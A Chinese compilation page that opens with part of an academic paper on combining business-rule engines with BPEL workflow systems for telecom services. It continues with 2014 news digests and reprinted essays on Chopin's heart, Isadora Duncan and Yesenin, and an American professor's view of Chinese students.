7.电信综合业务管理系统 篇七

针对以上问题,该文结合工作流技术提出一种Web服务环境下的业务开发方法,并进行了模型设计。

1 工作流技术

工作流管理联盟给出的工作流定义:工作流是一类能够完全或者部分自动执行的经营过程,它根据一系列过程规则,文档、信息或任务能够在不同的执行者之间进行传递和执行。工作流是一种反映业务过程的计算机化模型,它是为了在先进计算机环境支持下实现经营过程继承和经营过程自动化而建立的可由工作流管理系统执行的业务模型。

在面向Web服务的电信业务生成环境中,业务的开发过程其实是一种服务组合的过程。BPEL4WS(Business Process Execution Language for Web Services,简称BPEL4WS或者BPEL)是一种基于工作流技术的可执行服务组合语言。通过流程将多个Web服务组合起来,流程的每一步成为活动(activity)。

2 应用规则系统到工作流系统中

2.1 业务规则

业务规则是定义或约束业务和某一方面的一条语句,其目的是对业务结构作出断言或者对业务行为施加控制和影响。

2.2 从业务过程中分离业务规则

业务过程根据预定的标准和业务规则来影响改变它们的行为。在多数应用中,业务规则与业务逻辑混合在一起,很难变更和管理嵌入式规则。

文献[4]提出了基于业务规则的工作流模型,该模型实现业务规则与业务过程的分离维护,从而获得对业务需求变化快速适应能力。

2.3 业务规则与业务过程集成的方法

业务规则引擎就是一种基于规则的系统,它能够管理和执行业务规则。本文将结合面向方面的设计思想,通过将规则和活动进行映射,提出一种将业务规则系统和工作流系统相结合的业务生成模型,使规则系统致力于对规则的管理,工作流系统致力于过程的执行和监控。

3 系统模型的设计

3.1 系统框架图及功能部件说明

图1是将规则系统集成到工作流系统后,业务执行环境的系统框架图,下面说明各功能部件。

3.2 工作流引擎

工作流引擎是其最基本的控制软件,通过解释流程定义文件获取要调度下一个环节所需要的活动,并调用相关的管理组件,从而达到对流程中任务的控制。在遇到抽象服务时,将由服务匹配器根据具体的服务选取规则,根据服务库中选取具体服务。

在遇到抽象子流程时,将抽象接口定义和传入参数提交给子流程组合器,子流程组合器根据组合规则和流程执行信息(传入参数)产生出可执行子流程,并将展开的子流程返回给工作流引擎继续执行。

3.3 规则引擎

规则引擎是一种根据规则中包含的制定过滤条件,判断其能否匹配运行时刻的实时条件来执行规则中所规定的动作的引擎。规则由形如if/then的语句声明,然后由规则引擎负责执行并无需人工干预,由规则引擎自动控制规则的判断、选择和执行。

3.4 规则代理

规则代理通过Web服务接口将对规则引擎的环境的访问进行封装,能够对不同的规则引擎进行统一化的访问,代理架构抽象了各种规则引擎使得所有的规则引擎可以提供插件式的方法集成到系统中。

3.5 业务规则拦截器

业务规则拦截器截获BPEL Web服务调用的输入和输出数据,从而自动应用可以被规则代理存取的业务规则。拦截器提供两种不同的拦截时间。BPEL引擎处理每一个活动(invoke,reply,receive),它调用具体的伙伴链接类型识别Web服务。每一次调用都被规则拦截器拦截,如果某些规则被映射为前置拦截器中执行,调用规则代理执行相应的规则,然后执行BPEL活动。如果业务规则被破坏,则发送一个例外消息给工作流引擎。成功执行了活动后,后置拦截器就想前置拦截器一样被执行。在所有拦截器被调用之后,控制流返回工作流引擎执行其他活动。

3.6 服务匹配器和子流程组合器

服务匹配器在工作流引擎请求调用某抽象服务时,发送查询请求到规则代理,根据具体的服务选取规则,选取服务库中的具体服务。

子流程组合器在工作流引擎请求调用某抽象时,发送查询请求到规则代理,根据组合规则和流程执行信息(传入参数)产生出可执行子流程,并将展开的子流程返回给工作流引擎继续执行。

4 系统效果分析

采用以上框架实现的系统有以下优点:

1)将分散在业务逻辑和业务过程中的业务规则从系统中分离出来,提高了系统的扩展性和业务过程的可维护性。2)通过规则与活动映射,引入业务规则系统支撑的业务,提高对业务规则管理和维护的自动化和高效性。3)解决了BPEL在应用的动态组合和服务的生命周期管理上也受到了限制,缺乏灵活性的缺点,通过基于规则的方法,结合规则系统来完成服务组合,提高服务组合的动态绑定能力和灵活性,提高了了业务对网络上服务变化的适应能力。

5 结论

该文针对电信业务在Web服务环境使用面向流程的BPEL语言组合生成新业务的不足,提出增加规则引擎到业务环境中和工作流引擎互补协作,将业务规则从业务过程中分离出来,并可以利用组合规则完成抽象服务的动态匹配和抽象子流程的动态展开,弥补BPEL在这方面的缺憾,提高服务组合的适应性。

摘要：随着Web服务技术的发展,Web服务已经成为集成电信网、移动网、互联网上分布和异构应用的通用技术。基于流程的Web服务组合语言未考虑业务规则的分离,不支持流程中不确定的动态部分的抽象和封装,因此该文提出了将规则系统应用到工作流中的业务开发系统模型,从而为服务提供商进行电信新业务开发和生成提供了快速有效的途径。

关键词：工作流,万维网服务,规则引擎

参考文献

[1]Workflow Management Coalition.Workflow management coalition terminology and glossary[R].Technical Report,WfMC-TC-1011,Brus-sels:Workflow Management Coalition,1996.

[2]BPEL.Business Process Execution Language for Web Services Version1.1.[EB/OL].http://www.ibm.com/developerworks/library/ws-bpel/,2003.

[3]The Business Rules Group.Defining Business Rules-What Are They Really-[EB/OL].http://www.businessrulesgroup.org/first-paper/br01c0.htm,2000-07.

[4]李春芳,谭庆平.基于业务规则的工作流模型[J].计算机工程与应用,2006(26):65-67.

8.电信业务资费完全放开 等 篇八

日前，工业和信息化部、国家发展改革委联合发布《关于电信业务资费实行市场调节价的通告》，宣布从5月10日起对所有电信业务资费均实行市场调节价，电信企业可以根据市场情况和用户需求制订电信业务资费方案，自主确定具体资费结构、资费标准及计费方式。进一步鼓励市场竞争来推动电信业务资费水平下降，充分发挥市场“无形的手”对资费的调控作用，全面提高电信市场经济运行效率。

（摘自2014年5月10日《人民日报》）

不动产登记局正式挂牌

日前，国土资源部发布消息，正式挂牌成立不动产登记局。国土资源部地籍管理局有关负责人表示，不动产登记主要目的是建立所有种类不动产的登记制度，本意不在房地产，客观出发点也不是从反腐、抵制房价考虑。

（摘自2014年5月9日《京华时报》）

央企上缴收益比例提高

财政部日前发布《关于进一步提高中央企业国有资本收益收取比例的通知》，明确国有独资企业应交利润收取比例在现有基础上提高5个百分点，最高为烟草企业，达到25%，更多用于保障和改善民生。

（摘自2014年5月7日《金融时报》）

国家安全报告：应加大专业反恐力度

中国首部《国家安全蓝皮书（2014）》日前发布。报告指出，在国际恐怖活动呈反弹之势的大背景下，中国的恐怖活动呈高发状态，且呈现出恐怖活动地域扩大的趋势，以政府机构和军警为主要袭击目标、恐怖势力使用冷兵器等简陋工具作案的新特点。严峻的反恐形势和日趋多元化的暴恐活动手法，都要求中国必须进一步加大专业反恐力度，采取铁腕手段打击极少数极端势力，切实保障人民的生命安全和社会稳定。

（摘自2014年5月6日中国新闻网）

肖邦的心脏

从北京飞到波兰，华沙机场的名字就是肖邦机场。在波兰的两天，走在街头，漫步在公园或者小巷深处，听到的或者看到的都是肖邦。特别是在一个公园，摆放着两个音乐巨人的雕塑，一个是李斯特，一个是肖邦。肖邦的雕塑高大而传神，在他不远处的李斯特雕塑只是一个头颅。当地的波兰朋友比达对我说，虽然肖邦和李斯特是好朋友，在音乐上的影响都很大，但在这里你能看出，他们还是有区别的。我笑着对比达说，那是因为肖邦是你们波兰人。比达摇头，回答我说，因为肖邦要比李斯特更伟大。

那是一个夕阳西下的时刻，本来冷冷的天有了暖色，因为夕阳顽强地从云层里挣扎出来，在华沙的街头洒下了阳光。我随着比达的脚步走进了圣十字教堂，他回头告诉我，让我一定要脱帽进去，口气很坚决。圣十字教堂显得很豪华。比达对我说，这里很多东西都是假的，因为二战时，这里几乎被德国纳粹毁为一片废墟，这是之后一点点重新修建的。但有一个是真的，那就是钢琴家肖邦的心脏。

在华沙这两天，比达一直在说肖邦，我知道肖邦是一个天才钢琴家和作曲家，因患肺结核在巴黎去世，享年39岁。比达领着我走到一根柱子前，他指着这根柱子说，肖邦的心脏就放在里边。

肖邦死在了巴黎，生前几次想动身回祖国，可每次都没有成行，因为华沙的政治氛围很不好，回国有可能深陷旋涡不能自拔。肖邦去世前反复叮嘱一直守候在他身边的姐姐：“反对派政府是不会让你把我的遗体运回去的，但你一定要把我的心脏运回华沙。”肖邦死后，姐姐悄悄地把肖邦的心脏运回华沙，然后密封在圣十字教堂的这根柱子里。我好奇地问为什么选择这座教堂，比达对我说，肖邦曾经在这里居住过，他喜欢这里。

我站在这根柱子前沉思良久。肖邦20岁离开华沙到维也纳进修音乐时，带着装满波兰泥土的银杯同行。走了整整19年，他一直想回到华沙，却没有达成夙愿。当他在巴黎去世时，那个装满波兰泥土的银杯也随之下葬。

二战期间，教堂全体神职人员面对德军的多次轰炸，冒死掘出肖邦的心脏，有7人为此丧命，其中两人因用身体护住肖邦的心脏而英勇献身。听比达说，后来有人悄悄把肖邦的心脏转移到了国外隐藏起来。二战结束后，圣十字教堂最早被修复，于是，肖邦的心脏被隆重地请了回来，安放在圣十字教堂的柱子里。柱子上部铸有肖邦的雕像，下边的小台可放祭奠的鲜花。曾获诺贝尔文学奖的波兰著名小说家莱蒙特的心脏则在对面的柱子中，陪伴着肖邦。

（摘自2014年2月25日《渤海早报》）

邓肯“最后的爱”

伊莎多拉·邓肯于1921年应苏联政府邀请，到莫斯科创办舞蹈学校。正处于精神危机时期的叶赛宁突然闯进她的生活，于是两位年龄相差17岁的浪漫艺术家演绎了一段奇特的罗曼史。

舞蹈学校成立后，邓肯将巨大的精力投入其中。她对学生的成绩十分满意，打算带他们到欧美演出，为学校筹集基金。当时叶赛宁也想趁机到国外出版诗集。他俩计划在学生去演出前，先到国外做些准备工作。为方便出行，向来反对婚姻束缚的邓肯，欢欢喜喜地同叶赛宁办理了结婚登记手续。

他们先到柏林。邓肯交给叶赛宁一张成衣店的贵宾卡，后来她发现，叶赛宁用贵宾卡为自己定做了一辈子也穿不完的衣裳。她宽容地说：“他还是个孩子，从没穿过什么好衣服，就讓他尽情享受一下吧。”

夫妇俩过着阔绰的生活。邓肯不会理财，容易受骗。她的律师把她在柏林的一所房子以低廉的价格卖出，让她损失惨重；她在巴黎的银行存款也被查封。叶赛宁对此十分恼火，而邓肯却若无其事。

他们到了巴黎。邓肯从“赤色”莫斯科来，陪伴在身边的是个比她年轻17岁的俄国丈夫，这些都成了轰动欧洲的头号新闻。

随着时间的流逝，舞蹈女神的魅力在叶赛宁心中逐渐消失，而邓肯对他爱得越来越深，这反而使叶赛宁感到厌倦。夫妻俩经常吵架。有时叶赛宁“逃”出去几天不归，邓肯到处寻找，闹得满城风雨。有时两人在盛怒之下将公寓的东西砸个稀巴烂，然后再付一笔巨额赔偿费。

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他们乘船抵达纽约。邓肯原指望祖国会欢迎她，不料却被拒绝入境，几经周折才获准上岸。邓肯的演出受到纽约民众的热烈欢迎。她成了新闻人物，成群的记者追踪着她，簇拥着她。叶赛宁在一旁闷闷不乐，因为他感到人们根本不把他当成一个诗人。一天，他突然发现报纸上刊登了自己的一张大照片。他高兴极了，买了一大摞。不料经人翻译，报上只把他称为“迷人的舞蹈女神邓肯的俄国年轻丈夫”，根本没提他是诗人。他十分恼火，就拿邓肯出气，粗鲁地骂她是“母狗”、“婊子”，甚至对她施加俄国农民式的拳打脚踢。但邓肯宽厚地原谅了他，将这一切都归咎于他精神上的疾病。朋友劝邓肯离开叶赛宁，可是她说自己不能丢掉这个“有病的孩子”，不忍心伤害他。她要将他送回他的祖国。

邓肯在每一场演出前都要发表演说。她对苏联的友好态度引起了美国政府的不满，于是迫害接踵而至：邓肯的巡回演出被迫停止，接着她被剥夺了美国国籍。最后当局命令她和叶赛宁立即离开美国。

邓肯的政治倾向使西方国家对她恐惧、仇视，因此她要组织莫斯科舞蹈学校学生到国外演出的计划完全破产。

回到巴黎，没有旅馆肯收留他们。幸好邓肯自己那幢租出去的房子赁期刚满，他们才有了个落脚地。但他俩挥霍无度，债主不断上门讨债，最后他们囊空如洗，不得不靠变卖家具度日。

他們借了路费才返回莫斯科。不久叶赛宁离家出走。邓肯痛苦不堪，到高加索休养，不断给叶赛宁写信。一天，她忽然收到一封奇怪的电报：“不要再给叶赛宁发信和电报。他现在和我在一起，永远不再回你那里。加林娜·贝克斯拉芙斯卡娅。”

邓肯虽不知这位加林娜为何许人，但已猜到十之八九。她不甘心叶赛宁就这样被另一个女人夺去，当即给叶赛宁拍去电报：“可能是你的女仆发来的电报。说信和电报不要再寄往原住处。是否地址有变？电告。非常爱你。”

邓肯没有收到回电。她的“最后的爱”同前几次一样，因男人的感情易变而悲惨结束。

回到莫斯科，学校处于奄奄一息状态，邓肯决定到欧洲演出，以挽救学校。然而欧洲国家惧怕她的“赤色宣传”，不给她入境签证。她因经济拮据，不得不栖身于低级旅店。

1925年，叶赛宁自缢身亡的噩耗传来，邓肯肝肠寸断，在给朋友的信中写道：“我的泪已哭干，我要追随他而去。”她果真跳海自杀，所幸被人救起。1926年出版的叶赛宁诗集立即成了畅销书，所得版税相当可观。莫斯科法院鉴于邓肯是叶赛宁的遗孀之一（1925年他又娶托尔斯泰的孙女为妻），给她送来30万法郎。此时邓肯虽很贫困，却将钱转赠叶赛宁的父母和妹妹。她说：“他们比我更需要。”

邓肯对叶赛宁的爱，充分体现了这位杰出女性的崇高品格。

1927年邓肯在法国罹难。苏联外交使团献给她的红玫瑰花圈上的题词是：“哀悼伊莎多拉。俄罗斯的心敬献”。

（摘自2014年5月7日《中华读书报》）

美国教授的三个困惑

一位美国朋友在中国做访问学者，交流感受时，首先跟我大赞了中国学生求知欲强、对西方文化了解很多、英语基础好，但同时，关于中国年轻人，他也有很多难以理解的困惑。

第一个困惑是，中国的女孩子好像不谈恋爱就直接结婚。

美国朋友说，他见到的中国女大学生，学业大多非常出众，在对未来人生和事业的追求上也很独立，但唯独在恋爱结婚方面，显得比较胆小。

父母会要求她们，大学时期以学习为主，远离酒吧，远离派对，但大学毕业后，父母又希望她们赶紧找个人结婚，还最好是有钱人，以免被“剩”下。于是大学毕业之后，很多没有恋爱经历的女孩，又陷入了纯粹以结婚为目的的“相亲”大战。

朋友说：“没有经历过恋爱、失败、再爱，又怎么能找到对的人呢？而且，这样的人生，岂不是太无趣了？”

在美国，父母会鼓励孩子在上大学时找男女朋友，不完全以结婚为目的地谈恋爱，因为那将是珍贵的人生体验，从中也能学到与伴侣相处的经验。

他的第二个困惑是，中国的男孩子为什么显得那么胆小？

在他教课的班上，仔细数过以后，他发现，每次上课跟老师互动最积极的都是女生。男生上课时大多数低着头，即便被点名，也很羞怯的样子，好像特别胆小。课后，如果在校园里碰见，男生们也常常是低头迅速跑过，装作没有看见。

“告诉我，中国的男孩子为什么显得那么胆小？在美国，有很叛逆的男孩子，但大部分男孩还是积极而自信的，特别有主见。”朋友说。

关于这个问题，我当时就语塞了，至今没有找到适当的答案。不善于交流？不懂得表达？似乎都不是适当的解释。但无论如何，培养出一种自信而阳光的气质，确实是中国男孩未来的努力方向。

他的第三个困惑是，中国学生去美国为什么总去迪士尼？

朋友告诉我，班上不少学生骄傲地告诉他，曾去过美国旅游，其中一个女生去过4次。他于是接着问，你都去过哪些地方？这个女孩子说，去过一次纽约，三次迪士尼。当然这没有错，我也很高兴她和家人给美国带来了旅游收入，朋友说。但年轻的时候，更应该多深入一个国家，特别是偏远的地方，多和同龄人交朋友，了解他们的生活，开阔眼界，而不是只和家人四处做游客、买奢侈品。

英美学生在上大学之前或之后常常会有一个“间隔年”，自己背包或申请项目，去一个完全陌生的国家独自生活一段时间。中国的大学生，何时也能如此谦卑、独立、饱满？

（摘自《瞭望东方周刊》2014年第13期）